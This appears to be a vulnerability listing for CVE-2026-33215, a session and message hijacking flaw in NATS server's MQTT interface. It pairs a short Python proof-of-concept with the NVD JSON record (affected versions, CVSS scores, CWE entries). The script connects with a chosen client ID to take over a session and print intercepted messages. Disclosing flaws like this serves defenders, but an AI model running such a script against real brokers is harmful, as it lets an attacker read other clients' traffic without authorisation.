CVE-2026-33215

import paho.mqtt.client as mqtt # Conceptual PoC for CVE-2026-33215: NATS MQTT Session Hijacking # This script attempts to connect to the broker using a specific Client ID. # If the server is vulnerable and the ID is active, the session may be hijacked. TARGET_IP = "127.0.0.1" TARGET_PORT = 1883 HIJACK_CLIENT_ID = "target_session_id" def on_connect(client, userdata, flags, rc): if rc == 0: print(f"[+] Connected with ID: {HIJACK_CLIENT_ID}") print("[+] Potential session hijack successful.") else: print(f"[-] Connection failed with code: {rc}") def on_message(client, userdata, msg): # Print intercepted messages print(f"[Intercepted] Topic: {msg.topic}, Message: {msg.payload.decode()}") client = mqtt.Client(client_id=HIJACK_CLIENT_ID, protocol=mqtt.MQTTv311) client.on_connect = on_connect client.on_message = on_message try: client.connect(TARGET_IP, TARGET_PORT, 60) # Subscribe to a topic to verify message reception client.subscribe("vulnerable/topic") client.loop_forever() except Exception as e: print(f"Error: {e}")

{"cve": {"id": "CVE-2026-33215", "sourceIdentifier": "[email protected]", "published": "2026-03-24T21:16:28.640", "lastModified": "2026-03-26T17:19:15.823", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NATS-Server is a High-Performance server for NATS.io, a cloud and edge native messaging system. The nats-server provides an MQTT client interface. Prior to versions 2.11.15 and 2.12.5, Sessions and Messages can by hijacked via MQTT Client ID malfeasance. Versions 2.11.15 and 2.12.5 patch the issue. No known workarounds are available."}, {"lang": "es", "value": "NATS-Server es un servidor de alto rendimiento para NATS.io, un sistema de mensajería nativo de la nube y del borde. El nats-server proporciona una interfaz de cliente MQTT. Antes de las versiones 2.11.15 y 2.12.5, las sesiones y los mensajes pueden ser secuestrados mediante la malversación del ID de cliente MQTT. Las versiones 2.11.15 y 2.12.5 parchean el problema. No hay soluciones alternativas conocidas disponibles."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.2, "impactScore": 4.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-287"}, {"lang": "en", "value": "CWE-488"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:linuxfoundation:nats-server:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.0.0", "versionEndExcluding": "2.11.15", "matchCriteriaId": "F116F812-6B39-47A4-A04D-C8AF039B65A6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:linuxfoundation:nats-server:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.12.0", "versionEndExcluding": "2.12.5", "matchCriteriaId": "B141DA72-3502-4746-A246-EE1087C993F4"}]}]}], "references": [{"url": "https://advisories.nats.io/CVE/secnote-2026-06.tx", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://github.com/nats-io/nats-server/security/advisories/GHSA-fcjp-h8cc-6879", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}